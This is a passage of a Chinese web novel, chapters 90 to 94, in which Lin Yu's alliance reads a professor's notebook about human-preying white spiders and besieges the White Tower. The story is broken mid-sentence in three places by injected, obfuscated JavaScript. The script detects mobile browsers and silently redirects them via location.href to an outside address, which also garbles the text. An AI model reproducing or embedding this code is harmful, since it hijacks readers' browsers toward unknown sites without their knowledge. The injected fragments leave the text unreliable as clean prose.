何芝和黑蜘蛛首领谈好条件,就大大方方地入住了分配的大平层,带着全队人一起。 这是她们公会的商用楼,一共四层,下面三层修成格子间,被散户租用,第四层只有一户,连着楼上阳台就这样给了种植者联盟。 ……是个大款。孟锦竹心里想着。 ……她们人不错。严开吉在平层里逛来逛去,安排种地的空间。 “……所以,你究竟答应了她什么,不会把自己卖了吧?”孙覃半开玩笑地对何芝说道,“高羽函你也才认识不久,而且人家不做慈善。” 何芝找了个石头削成的硬“沙发”坐下,肉眼可见呼出一口气,“不是我们。” “不是我们?”孙覃不解地念道,“所以你究竟换了什么条件?” 何芝叹了口气,也没有避着林屿她们,“我们到这个程度,大概是维持不了以前的规模了,所以我给她说愿意加入她们组织的外围成员我都不拦着——正好她们现在很需要人。” “还有这好事?”严开吉刚好从楼上下来听到这句话,“不我是说,商城涨积分以后,大家不都开始捂着口袋过苦日子,公会都是裁人赶人,没听过还招人的啊?” “黑蜘蛛福利降了,三天领两碗米饭,所以很多人受不了走了。”何芝解释,“但前阵子她们多了一个种植者,一下子又缺人手,但又不愿意找那些离开的回来。” 所以正好是让我们赶上了。 林屿一间一间看着卧室,试图远离何芝的视线,然而事与愿违。 何芝悬了一天的心竟然这会儿就歇够了,开始理事,“对了,之前林屿真的杀了唐瑜妡?特殊副本里杀人属于通常情况,还是减重营副本的特殊情况,这两个结果和个人知情与否都会影响时候处理,过来说说吧——毕竟我们组织有不能无故对玩家动手的规定。孟锦竹先别解释,让当事人来,林屿呢?林屿快过来。” “…………” 林屿刚把半个身子藏进房间里就被盯住后背,只好硬着头皮走过去。 91.第 91 章 虽说场面一眼看上去有点像三堂会审,当事人四道目光虎视眈眈地盯着,看上去就像要马上被四马分尸了一样。但实际上却不可怕。 何芝的问话非常温和,另外三个友方也时不时帮着她说话,尤其是参与全程的孟锦竹,这个目击证人恨不得做己方律师,对种种不利于林屿的事件反驳得比她本人还激动,而且另外一个可能更公正的证人庄建还不在场—— 所以整个过程只是碍于规定的走流程,她是挽救组织的功臣,大家感谢都还来不及,这里没有谁得利之后有脸自诩正义指责别人违规。 林屿交代清楚以下几点: 1、她不知道有这条规定。 2、她确认玩家在特殊副本死亡后会进小黑屋,并陈述了推断过程和判断依据,比如自己出来后衣服上血迹刷新的事。 3、要是最后不这样做他们不可能赢。 然后就被轻轻放过了,福利没停,脸色没有,只不过出于对她精神状态的担心,何芝暂停她出副本的义务,让她在白城休息一段时间。 得到这个结果在林屿意料之内,却比原以为的收回福利逐出核心团队好上太多,好得她有些不可思议,甚至到了浑身发痒的地步。毕竟她违规了,以过去的经验来看,无论什么理由违规就是违规,必须受到相应的处罚。 没想到在高压水枪下待惯了,反而不适应和风细雨。 黑蜘蛛自留的大平层房间很多,林屿挑了一间靠边的,卧室换了一间,但和之前的仿佛没有区别,都是仅容得下一人的方格子,一床一桌,没有窗户,照明全靠墙体的微光。 她从裤兜里摸出一根白刺——NPC看完药剂幻灯片之后愤怒丢地上的,往自己的拇指上试了试,最后没狠下心扎进去,往墙壁上一戳。 哦豁,软了。 随后白刺粘在墙壁上,用指甲扣都扣不下来,过了一会儿再看,已经区分不出来轮廓了。 林屿心底发凉。 控制NPC的白刺和墙壁是一样的材料!但这些建筑都是用白城唯一有的材料做的,地面、楼房、家具,以及边缘散碎的石块,所有玩家都生活在其中。 她忽然有些分不清,受到操控的真的只有NPC吗? 被改变了行为作息、人生目标以及道德底线的玩家,生活在所谓安全区的白城的玩家,真的只需要担心一日三餐和副本通关吗? 林屿想到言教授最后的惊骇揭晓——这个世界是由蛛丝搭建的,它们能够串联起诸多网络空间,窃取数据与模型。如果这个推断是对的,那么副本的来源完全能确定下来:来自现实的各类游戏。 玩家在白城用的是原先的身体,进入游戏用的又是什么呢? 林屿摸了摸肚子,进副本前她就饿了,但从出副本到现在也没有想起吃东西,她不觉得饿,原因是她在副本中吃了商城买的“真实食物”。 所以副本里吃东西会影响现实中的饱腹感,玩家应该也是真身进入游戏。 林屿坐在床沿,略垂下头,像是有什么苦思不解。 但这根本说不通,受伤的玩家出副本伤势恢复,死亡的玩家从小黑屋出来活蹦乱跳,连唐瑜妡技能也证实副本的一切都是假的,副本只是数据世界,玩家在里面只是精神建模。 可是为什么她在副本吃东西能吃到真实身体里去,为什么减重营副本里NPC可以真的杀人?两条线索的推断走向截然相反的方向,是虚是实,难以分辨。 如果要弄明白这件事,就得明白玩家在进副本之后,“身体”究竟在哪里。 …… 顶楼阳台,严开吉已经勤勤恳恳地把背包里的土倒出来铺好,准备播种了。林屿跟着他忙碌了大半天,肚子饿得咕咕叫。 她拍了拍满手的泥巴,直起身,“严叔,要一起去吃饭吗?” 四层的建筑在这个地块虽然不多,但也有,不过都离这栋楼有些距离,基本上不可能实现跨楼跳跃偷菜的事。而更近的都是些一两层的低矮平房,从高往低一览无余,有人想过来明显得很。 黑蜘蛛的五层办公楼就在不远处,作为不缺钱的合作方,他们的楼十分让人有安全感,也不太用担心人家觊觎这边的口粮。 不过为了以防万一,严开吉还是说道:“你帮我带上来吧,这里要守着人。” 餐厅,林屿领过自己的份例米饭,又忍着心痛从商城兑换了50积分一小包的榨菜,刚一动筷子,面前放下一个碗。 何芝一屁股坐下,后面是跟过来选了她旁边位置的孙覃。 林屿的目光在他俩身上游了一圈,欲盖弥彰地掩着嘴低声问道:“何姐,你有男朋友吗?” 孙覃的碗“啪”一下就放歪了,米饭撒了一半出来,急得这个大个子手忙脚乱地收拾。 林屿看着他磨磨蹭蹭的动作,八卦的眼神直往何芝身上瞄。没想到冷面首领无动于衷,口里吐出的完全不是之前审小朋友时的温柔话。 “我有,如果不是到了这里,我都已经结婚了。” 孙覃身形一僵,然后慢慢地把米饭收拾好,端着碗回了厨房。 林屿略有点尴尬,“之前你们不是一个组的吗,他不知道?” 何芝:“上班工作都忙不完,哪有时间聊这些。” 林屿:“好吧。”本来她还想助攻一下,没想到成了反向助攻,希望孙覃早日明白单箭头是没有结果的。 她刨了几口饭,才放下筷子道:“何姐有话问我?” 何芝:“言教授说的那些事,你怎么看?” 林屿也没藏着掖着,把自己的推测说了,“如果言教授没有说谎,那副本来源于什么就很明显了——现实世界的游戏,而人死后会被选中成为游戏里的NPC。” “蛛丝可以连通网络世界,可未必不能连通实物,商城里的东西,我们玩家自己,也都是从现实世界里‘偷’过来的。但我不明白这背后的目的。” 林屿见她不像准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089497|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备回答的样子,又道:“我也不明白为什么不把韩舒叫回来讨论——他本来要找言教授的,不是已经找到了吗?” “言教授让他救人。”何芝言简意赅,“算时间,现在应该快回来了。” 林屿几口吃完午饭,另外给严开吉打了一碗,端着饭送上天台,就见方才刚刚播种的作物已经从土里冒了黄绿的芽,嫩得让人想补充维生素。 对不起,人在连续吃很多天一模一样的东西,口里淡出个鸟,并且因为缺乏热量以外的营养开始皮肤干燥掉发之后,看到什么新鲜的都想放到碗里补一补。 趁严开吉吃午饭的空挡,林屿在天台边往白塔的方向望了望,这个位置比之前的基地离得近,视野更好,面对的是普通副本的那半圈,看着看着,她开了异视野。 人的光团有亮有暗,情绪高涨的更亮,情绪低落的更暗,这个时候孙覃的光已经比平时暗了许多,不过林屿知道他很快就会恢复。 情绪有涨落,但每个人都有一个稳定状态。 但决定总体亮度的是其他的东西,比如生命力。年纪大的更暗,年纪小的更亮,活力足的更亮,死气沉沉的更暗。 比如白城边缘的光团基本上属于很暗的范围。 可是她一个年方二十五的“广大青年”,“祖国花朵”,没病没灾,吃饱穿暖,亮度却暗得能完美混入边缘难民,简直一点都不合理。 于是她问严开吉,“严叔,你觉得我们能出去吗?” “当然可以!”严开吉一拍大腿,“你看这过的都是什么日子,出去之后我都不想把存款给儿子买房了,赶紧和他妈出去吃好的喝好的让这辈子体验过了才值!” 恰好孟锦竹忙碌好了厨房,上楼来帮忙,被林屿逮住问:“你觉得我们能出去吗?” 孟锦竹一听这个,立刻回答,“当然啊!必须能!不然我为什么拼死拼活过副本找线索,我爸妈不喜欢发财,如果我真的回不去,发财就只能做一只流浪狗了呜呜呜。” 林屿安慰了一会儿,听了一耳朵人狗情深。 啊,原来是这样,她就说一开始孟锦竹明明很胆小,却硬逼着自己跟上大部队脚步做任务,她也是下定决心找此间出路的人。 可现在自己明明已经知道了更多,离开的希望已经不是明日之梦,而成了天边闪烁的星光,照耀着不甘此间的心。同伴都满怀希望,她本该和他们一样就着前人的铺路,继续深入探索,乘胜追击,可她的心已经停了。 林屿发现自己不像一开始那样急着出去,急着离开这里。 这里得到的自由比回家更多。 林屿在天台百无聊赖地消食,忽然她的眼神定住,直直看向白塔之下。 韩舒,她认出了韩舒的光团,还有一个,已经濒临熄灭。 “我先出去一趟。”林屿用上技能,话还没落就飞了出去。 不到一分钟,她就拦在韩舒三人面前。 “把人给我。” 92.第九十二章 韩舒衡量一番体力,似乎有些不赞同,但考虑到她刚才飞过来时候的速度还是把人交了过去,“快一点,他要不行了。” 林屿匆匆撇过旁边帮忙的女人,压下心底的惊讶,果断把人——萧谷亮背起来,火速飞回组织。 萧谷亮浑身湿漉漉的,但脸颊已经凹陷,露出的手腕像是只有骨架,原本做成杀马特造型的头发已经软软地贴着脸,绿色的水藻像是染色一条一条缀在头发里,散发出一股水腥味。 但他来不及把自己清洗干净,在孟锦竹端来米饭之后,便开始狼吞虎咽吃着一切能吃的东西,一边吃一边喘着气用眼神表达感激,看样子根本腾不出嘴来说话。 他不缺水,但饿脱了形。所以困住他的地方是有水源的。 那会不会是商城里储水的地方? 韩舒站出来解释。 “言教授有我的传信纸,他带着很多人进了副本间的缝隙,想找到离开的路,说有什么情况就联系我,然后进去没多久,他告诉我里面有人。” “他?”孟锦竹也认识这个小伙,那还是她穿着韩舒外观的时候——在林屿的新手副本。这个杀马特一开始非常幸运地避过了几个必杀,最后却不小心掉进缝隙,没有跟着一块出来。 不过能恰好在饿死之前被言教授发现后获救,其实也算幸运? 她不确定地想着。 韩舒:“我本来想带他出来,但言教授说进去之后人无法分辨位置,所以我需要有定位技能的同伴配合,等我告诉何姐她再找人耽搁了一会儿。” 根他一起回来的女人十分放松地找了个座位,翘着二郎腿听讲。林屿偷瞄了她好几眼,恰好有机会,便问道:“所以你的技能有关定位?我之前……好像在那边见过你。” 那边,白城边缘。 这个女人不就她两回往边缘难民区送饭时候那个……疯女人吗? 她不疯了,还有技能了?关键是,何姐还知道她的技能? 何芝见孟锦竹和林屿一脸疑惑,介绍道:“这位是杨紫陶,我的线……秘密成员,之前在那边替我统计人数、收集情报,不过现在我们人手不足,她以后会和我们一起行动。” 所以你刚才想说线人的吧。 林屿默默想着。 杨紫陶爽朗一笑,除了脸,和之前那个呆滞的女人毫无相似之处。 林屿不得不佩服她的演技,看了看孟锦竹又看了看她,心说这下身边的影后又多了一个。 杨紫陶介绍自己:“我的技能其实与定位无关,但人都快饿死了急着救命,所以就讨了个巧,用我的‘绳套’,我在外面拉着小韩,小韩去里面找人,找到了就在纸上写字,我看到了把他拉回来。” 她一脸戏谑,“本来小韩还说他是男生体重不轻,怕我一个人不够想摇人,结果被我一拽拽俩,像提葫芦一样提出来,当时都惊呆了。我就说他这么矮体重能有多少,进副本一趟三个目标,多一个人多耽误一分时间,没必要。” 被说矮的韩舒:“…………” 只好露出尴尬不失礼貌的微笑。 …… 安顿好萧谷亮,这边爱搞小团体的几个人又围起来开了一次会,终于开始复盘这回得到的消息。 别说,除了赢得自主权之外,消息收获也是一个赛一个爆炸,不比突然赢了给人的惊讶少。 先是言教授一下子出现,还板上钉钉地变成了NPC,这个消息足够确认“人死后有灵魂”和“白蛛可以控制灵魂”这两个推论。 韩舒这小子其实在林屿进去之前就已经找到言教授了,然后他就再也没管赌约的事,专心辅佐……帮助他的老师制造药剂,推进“聚众打洞探险”计划。 那些混合了石头粉末,小卡片上写得像壮阳药的药剂就是他们放出来的,弄出的那堆有技能有刺的“双有”NPC差点让俩小队马失前蹄,给第三局赌约制造了不小的麻烦。 韩舒歉意地表示他只能顾一头,以及不要把这件事告诉庄建。 他怕被暴脾气堵着揍。 林屿:“那你当时怎么不提醒一下我们?按原方法很容易弄错目标,一旦弄错两个以上就出不去,赌约也输了。” 韩舒:“不是我不想提醒,是……” 他为难地看了林屿和新来的女人杨紫陶一眼,何芝替他补足了。 “因为他怀疑有叛徒。” 林屿一脸错愕。 韩舒:“我不是针对任何人,但老师第二次进小黑屋本来是去验证一个猜想,但恰好那个时候小黑屋出事,导致他……抱歉我总是疑神疑鬼,但不能排除有人私下联系系统通风报信……” 林屿:“可是系统完全是单向联系我们,我们没有任何方法反馈啊!” 韩舒:“因为老师已经成为玩家目标,他的存在一旦提前泄露后果不堪设想,万一玩家公会知道这件事那他来威胁怎么办?也不排除……嗯,不排除有系统方面的人伪装玩家混进我们之中。” 那真是个鬼故事。 杨紫陶噗嗤一声笑了,“他怀疑次次全A通关,本本MVP,回回死里逃生,逆转全局的某颗超新星的你就是那个伪人。” 林屿:“……” 尴尬了,真的尴尬了。 韩舒被说中小心思,回答小声但是理直气壮,“我不是怀疑你,我只是平等地怀疑所有人。” 林屿:“……” 所有人:“……” 何芝的手轻轻往桌上一拍,“那也怀疑我咯?” 平等怀疑所有人的韩舒看到威严的刑警,气势像皮球一样瘪下去,比双手捏着放气还快,“没、没有。” 何芝对着众人说道:“保持合理的怀疑是好事,我们不排除韩舒说的这种可能,不过也不必过于深究,目前,我们需要做的还有很多。” “你们有人怀疑变异生物的真实性,这点其实是证据最足的,现实世界各种突然出现的新型材料,网上迅速流传又迅速删除的视频,还有机构内部的调动和培训——最后一点或许你们不清楚,但我和小孙是经历过的,和言教授的说法完全可以对应得上。” “所以你们无需怀疑白蛛是不是真的存在。” 韩舒补充道:“其实我、老师、严叔在进这里之前,一直在野外考察,一开始我不知道老师的考察内容,直到他成为NPC,挣脱控制,才发现这一切都是他的研究目标——白蛛,的能力。” “他给了我这本笔记。” 他拿出一本黑色封皮,边角略有磨损的笔记给众人传阅,林屿拿到手里,迅速地翻页。 前面都是记录气候和地形,画着简易的分布图,到中后段终于出现蜘蛛的手绘。 找到了。 名字:白蛛(未有学名,未公开种) 大小:成年蛛身长17mm~29mm 颜色:纯白 食性:肉食 习性:喜阴喜湿,群居 毒性:微毒,麻痹性神经毒素 攻击性:低、弱 特异性:蛛丝的特异性(见详述),自身的特异性(见详述) 蛛丝连通网络,蜘蛛影响灵魂,这两项都已经知道了,本子里更详细,但都大差不差,林屿感兴趣的是食性一栏,言教授在“肉食”上用铅笔画了一个圈,往外伸出箭头,写着:见P23。 林屿翻倒第二十三页。 “食物投喂是白蛛的养殖难点,明明也以昆虫为食,但同一种,甚至同一父母生下的同一批虫卵孵化的个体,它们也并不会照单全收,只会挑挑剔剔吃几只。我完全不认为是它们食量小的原因,因为几乎所有死亡的白蛛都是被饿死的。” “我尝试换过很多类别的昆虫,甚至拿小型动物做了测试,令人惊讶,它们在面对超出体型很多倍的猎物时,会通过合作织网来捕食。不过同样的问题,它们似乎觉得食物不合口味,将其抛弃。” “因此我必须到它们在自然界的生境地考察,找到它们如此挑食的原因,近距离观察,弄明白它们究竟吃什么,挑剔什么。” “白蛛的社会性很强,超出单体协作等简单帮扶,一个聚居的群体里等级分明,能够捕猎森林里的小型鸟雀和树蛙。不过,野外的白蛛也常常弃食猎物。” “它们的口味真的很挑!” 林屿顿了顿,简直不能再认同这句话了,“刷”地翻过一页。 所以,白蛛挑的究竟是什么啊! “今天,我带了几只白蛛到简易雨棚下织网,并给它们丢了一些蚱蜢过去,我本是突发奇想,没想过它们可以活下去。但一段时间后,我惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092819|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地发现原先的那几只非但没有如我所料一样饿死,数量还不减反增,难道我误打误撞找到了它们的生存方式?我开始观察它们。” “一个神奇的现象,我看到几只十厘米长的蚊虫撞上它们漏斗形的蛛网,身体却像凭空消失了,过了几天,我看到蚊虫的空壳。” “每回都是!每回都是!猎物全部消失了!在被吃空之后才出现!” “它们这是找到了新的捕食方法?可这该死的问题还是没有弄明白,它们究竟为什么挑食!好极了,现在多了一个,它们又多了什么神奇的能力!” 好家伙,逐渐疯魔。 林屿再次翻页。 “我火速让学生把专业仪器送过来,开始测量各项数据,那边也来人了,他们说想把这些白蛛运送回去,我同意了,结果白蛛在运送时被弄丢了!这么重要的样本居然丢了!” “还好我这里还剩一半,我觉得那些非专业人士粗心大意,不让他们靠近,他们其实也乐得清闲,没事不往这里跑,只有我的得意学生和向导跟着挤在这个棚子里。” 然后是一些观察记录。 林屿翻了几页,眼神定了定。 “我不知道该怎么说,好多天,蛛网上都没有任何东西,但白蛛没有减员,反而繁殖了一窝,各种各样被吃空的尸体仍然不时出现——我发誓没有在监控上看到任何猎物撞网!” “他们第二次取样,和上回一样,白蛛在中途消失了。” “我让学生回去,他不愿意。” “白蛛的最大体长已经超过29毫米,好几倍,猎物也是之前的好几倍,这让我有一点不安。” “上面在催我们,他们认为白蛛的危险性已经上升,不再适合野外观察,他们已经来人,准备明天把我们送回去,不过今天,向导老严和学生说要守着我观察最后一晚。” 林屿的袖口被拉了拉,抬头正好听见何芝说:“我们现在的目标是:弄清楚关玩家的小黑屋究竟是不是白塔,以最快的速度找到出口。” 孟锦竹:“你脸色不太好,上面写了什么?” “有关白蛛的,等下你也看看笔记。”回答之后,林屿抬头问何芝,“为什么不探索缝隙——我是指言教授最后进去的地方,他有消息吗?” “没有。”回答的是韩舒,他的脸色很不好看,“算时间老师已经进去很久了,但除了说救人的事,没有再写任何东西。” 何芝:“所以那个地方可能存在未知危险,而且人在里面会失去方向感,危险性高于探索价值,而且,言教授的笔记里已经说明小黑屋的重要性,我们得先从简单明确的入手。” 小黑屋? 林屿连忙翻页寻找关键词。 “我第一回被惩罚——这里叫关小黑屋的时候,视野变成了红色,危险的红色。我无法睁开眼睛,无法挪动手指,可是技能的色斑留在视网膜上久久不散,因此整个惩罚过程我无法入眠,心绪激荡不已。” “红色代表可能送命的危险,橙色代表持续的危险,黄色代表危险程度较低,但不能掉以轻心,绿色代表安全无虞。在我眼里,整个白城都是黄色,副本里安全的路人NPC是绿色,剧情NPC是橙色,遇到致命危机时才会出现红色。” “为什么小黑屋的颜色会是红色?这明明是‘游戏’的安全惩罚机制啊?我不得其解,于是第二次主动进入。” “天塌下一半,我看到无处不在的密网,网的形状结构和白蛛织的一模一样!天啊!这究竟是……” “我模模糊糊地过了一段日子,意外接触到一种奇异的石头,借由这个东西恢复了记忆……可还不如不恢复,我已经,作为NPC坑害了十来个玩家。” “白蛛用来控制我的是脖子后面的一根刺,或者说,蛛丝。原来如此,我已经完全想明白它们的捕猎,那些莫名其妙出现的猎物空壳,那些撞上又消失的昆虫,原来如此。” “现在,人类是白蛛的猎物。” “可有一点说不通,它们不可能会人类的语言,冒充系统发布公告的究竟是……” 再翻,已经没有了。 林屿合上笔记本,像是读完了一本奇妙冒险,又像是看完了一整本阴谋揭示,大汗淋漓。 她必须得出去,否则会沦为白蛛的食物。 93.第九十三章 种植者联盟决定向小黑屋下手,寻找通往外界的突破口。 言教授二进宫见到的“密网”可没有在白城和副本的哪个地方出现过,结合废话很多的类似日记而不是研究日志的小本本上记载的东西,大家基本上能推理出这东西是白蛛在现实里织的捕猎网。 重点:在现实。 也就是他们弄烂白塔就有机会找到回现实的通道。 但小黑屋里的玩家安全是很大的问题,种植者联盟绝不会牺牲玩家来达到目的,所以他们首先要做的就是联合各组织管住进副本的通道,直到被惩罚的玩家全部回归。 这种外交谈判的事情自然是何芝去做,首领阁下钦点了个头矮脸不错心眼多看着没有攻击性的韩舒做副手,他还是言教授的得意学生,摆事实更有说服力,是意料之中的人选。 除了他,孟锦竹也被顺便捎上了,她共情力高,活泼多话,非常适合打入对家笼络年轻人。 于是孙覃只好去做后勤,和严开吉俩男的负责成员的每日餐食,守护楼上农作物财产以及照看还没有自保能力的萧谷亮。 林屿和杨紫陶负责去别处“招兵买马”,寻找愿意投靠的技能者。她对这样的安排没意见,只不过在往“难民营”送饭的途中泄露了一丝疑惑,被杨紫陶敏锐地捕捉到了。 “你在想什么呢,小屿?” 林屿被这个昵称激起一身鸡皮疙瘩,抖了抖手臂,看了自来熟的队友一眼,“在想我们还剩多少口粮,招新人的待遇和其他公会比怎么样。” 杨紫陶“噗”地笑出声,“我看人没错,你果然不诚实,说话喜欢拐弯抹角,你明明想问的是大战之前我们为什么还要把物资浪费在没用的地方。” 林屿不接她的话,“这是你说的,我可没这么问。” 杨紫陶没有因为小朋友的不配合卖关子,“能多活一个是一个。” 林屿挑眉。 “来这里的是那些无法适应玩家身份,对副本内身临其境的暴力应激,或者经历创伤的人,他们没有做错什么,他们不是自愿来到这里的,却成为不合理规则之下的牺牲品——小芝的原话。” “每一个觉醒技能并且过得好的玩家之外都有九十九个沦为陪衬的普通人,这九十九个普通人压榨自己的身体与精神,能撑下去的就是各个公会底层的燃料,以及无法加入他们朝不保夕的边缘人,不能撑下去了就成为‘废料’,无处可归,无物傍身,只能到这里等死。” “所以你们每七天一送饭,卡在人体能维持机能的极限时间,就是为了让更多的人活着,同时付出最少的资源,嗯……” 林屿思索着,倒是没有评价这种绝大部分人看来很愚蠢的做法不好。 向来有“救急不救贫”的说法,意思是贫的需要是源源不断的,而急只是一时,如果以自身去填别人的窟窿迟早有一天会被拖垮,种植者联盟的做法无疑是“救贫”。 帮扶弱小,这也是一种“正确”,但只是在无损自身的情况下锦上添花,增加名望,在物资缺乏的时候,大家会认为这是一种“愚蠢的正确”,都会带着嘲讽期待一场被拖垮的好戏。 “因为你们认为一定有办法离开,所以会觉得这些人可惜——他们本应该活下来的,这里施加给他们的一切都是非法的,但你们知不知道……” 林屿斟酌着说道: “现实世界的规则同样如此,百分之九十九的人都是燃料,只有百分之一的人能脱颖而出,走上那条大家觉得理所应当的路:考进名校,有好工作,前途光明。剩下的人在竞争中耗尽了生命力,在资源分配中也不被青睐,只能活在匮乏与贫穷之中——不过大家谈论的大部分都是那百分之一的人。” 林屿靠近杨紫陶,在她一步远的地方站定,略微仰头看着她的眼睛,“除了外面不涉及生死,两个世界的规则其实并没有那么大差距,对吗?” 这个看上去总是没个正形的女人收敛了不正经的表情,眉目沉静下来,竟显出几分凶厉,“所以你认为不该?” 林屿眼神分毫不避,慢慢展露出笑意。 “技能者有别的公会选择,留下来也有好处。要得多,做得被动,为什么要花很多资源供养他们呢?这里不是有这么多拼命想回去的人吗?他们要得少,非常主动,如果你们愿意管饭,他们绝对拼了命不让别人进副本。” “你小子!”杨紫陶一巴掌按在林屿脑门,把她按了个趔趄,随后自己倒是笑了,“看着不是个好人,结果意外对胃口。” 第一次得到“看着不是好人”评价的林屿:“……” “对了。”她突然想到什么,“上回你在这里卧底的时候为什么对我说‘蚂蚁,蚂蚁,都是蚂蚁’?” “嗐,那个啊,那个是我听说有人在小黑屋里经常脸痒身上痒,甚至留下什么恐惧症,专门说来给知情人听,钓鱼的!” “其实我有个猜测。”林屿说道,“会不会是白蛛在选食物?” 这下轮到杨紫陶搓手臂的鸡皮疙瘩了。 嘶,还怪瘆人的。 …… “何姐,黑蜘蛛那边同意吗?蓝虹蝶有没有帮你说话?” 林屿放下饭碗,用公筷从大盘子里挑了片白菜放到碗里——这可是头一回供应的福利!还不用花积分,来自严开吉在天台上开垦的一小片菜园。 她好久都没吃过新鲜蔬菜了,维生素缺得厉害,根本无法抵抗以前看不上的底菜。林屿咬了口菜叶,几乎流下恍如隔世的泪水。 其他人也没客气,一人一片,把大盘子里的菜叶瓜分殆尽,连残渣都没留下。 在确定好组织的革命路线啊不是,现阶段目标之后,每天午饭时间都要开一场小会,餐桌早就换成一张大圆桌,吃饱喝足的消食阶段就开始互相询问进度。 林屿最开始还觉得这做法和她那爹一样,本来不想参与,然而自从发现每回都是自己问得更多之后,她就一改成见,变得积极起来。 何芝咽下饭才开口,“高羽函不愿意联合,她似乎很害怕我们摧毁白塔,造成副本崩溃。” “我本来想找蓝虹蝶说服她姐,但那边没让我见到人。”孟锦竹补充。 “唉,开局不利,东道主不愿意,接下来恐怕难拉人了。”韩舒叹气。 严开吉:“小林子,你那边呢?” 林屿被严老伯这么叫,瞪的却是杨紫陶,“我们已经找人把白塔围起来了。” “这么快!”同伴不可置信。 林屿:“我们找的不是技能者。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102238|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把事情解释一遍,陈述了选技能者与选普通人的利弊,“所以,现在别的公会可能对我们有点意见,也可能会用同样的手段分化他们,比如开出更高的待遇,时间不会很久。” 杨紫陶笑眯眯的,炫耀的口吻说道:“我就说我们家小林子聪明吧?” 林屿默默把椅子挪远了点。 你谁,我们有这么熟吗? 孙覃欣慰地看过来,孟锦竹冲她比了个大拇指。 韩舒开始操心,“这样会不会有点急,如果我们先谈好再包围会不会更顺理成章一点……” 何芝:“但那样时间就拖得久,迟则生变,在很可能有幕后人的情况下必须先发制人,所以我们得加快时间和别的公会达成共识。” 韩舒:“可是我们一没武力二没势力,怎么才能快速说服别人呢?想强扭瓜也扭不动啊!” 林屿用指尖点了两下桌面,等所有人目光看过来之后说道:“我有办法,所以才让他们立刻行动的。” 韩舒:“你有什么办法?” 林屿没有回答他,只是看向何芝。 何芝:“你跟我来。” 她带人上了天台——没办法,所有房间都被拿做单人卧室了,现在公会只有两层,不像以前有个楼。 天台上麦苗绿油油一片,围护一排种了长得快好养活的白菜,这就是他们午饭维生素的来源。不过这个来源也很单一,更说明久留不是长久之计。 何芝绕过作物,小心地不去踩它们,找了处空地站定,“你的办法是什么,可以告诉我吗?” 林屿:“有关我的技能,不太好详细描述。” 何芝:“你的技能?你的技能不是给予和飞行两个吗,又多了一个?” 林屿:“没多,还是原来的,不过升级了。” 她含糊过去,明显不想多说,于是何芝问道:“多大把握?” 林屿:“把握很大。” 她说话的时候同时发动技能“给予”。 ——林屿低调踏实,实力有目共睹,四次副本从未失败,但并没有得意忘形。如果她说可以,那就一定可以。 何芝低头思考片刻,颔首,“你比我厉害,连我新手时期都进过几次小黑屋,也没有那个本事护住所有同伴,我相信你的判断。” 林屿看着她,“其实我想做过交换。” 何芝:“你说。” “我感觉石头对我技能有增幅作用,谈判的时候我想带着,可以把它给我保管吗?” 何芝:“你知道,石头有危险性……” ——林屿有两个技能,几次接触石头都没有像他们一样的不适感,她将石头给组织保管是相信他们,但并没有把东西送给他们,比起石头,还是人更重要。 林屿适时露出沮丧失望的表情。 何芝改口道:“本来就是你的,本该还给你,它对我们来说危险性更大,我们正愁怎么处理呢。” 像是终于得到想要的结果,林屿也没有吝惜她的喜悦,“谢谢何姐,你人真好,那之后就把谈判对象的地址——精确到办公室和卧室的那种,发给我,我去说服他们。” 何芝:“?” 你这是想怎么去“说服”?听着怎么这么不对劲呢! 94.第九十四章 白塔脚下的光圈附近向来是玩家最多的地方,进副本来这出副本到这,是整个城市名副其实的核心枢纽,就算豪横如玩家公会,修的楼也不敢把这块地给占了。 但这天这片地方沸腾了。 无他,向来大佬高玩出没频次高的地方,白城CBD,不知从哪里来了一群皮包骨头的瘦鬼,衣服脏得一看就知道从来没换过,咯吱窝的酸味飘出了十里地,一看就知道从难民营来的。 这帮“难民”里三层外三层地把白塔包围起来,还不是小圈子包围,他们距离光圈忒远,把整个广场都给堵上了,想要进副本的直接被熏走,而那些出副本的则被无数双藏污纳垢的手托着背平移到外头,个个生无可恋地回去狂冲澡。 有想要突围的技能者,刚加好力量扒拉倒几个人就被威胁举报,只能在外圈含恨放狠话,也有速度型的,可惜还没来得及在人脑袋上飞檐走壁就被无数双手拽下去,捏着鼻子被熏了一转,丢出去后狂吐不止。 当然,技能多种多样,不止这些,有些偏要进去的这帮人也没管,只是把人数记下来,他们听从“雇主”的嘱托,只出不进,只拦人不伤人,只威胁不举报,把围观的人看迷糊了。 搞出这么大声势,发动这么多群众,只不过为了一个目标:确保对白塔动手的时候小黑屋里没人。 最长七天的惩罚期,还不算在副本内耽误的时间,也就是说至少十天内不能让玩家进本。 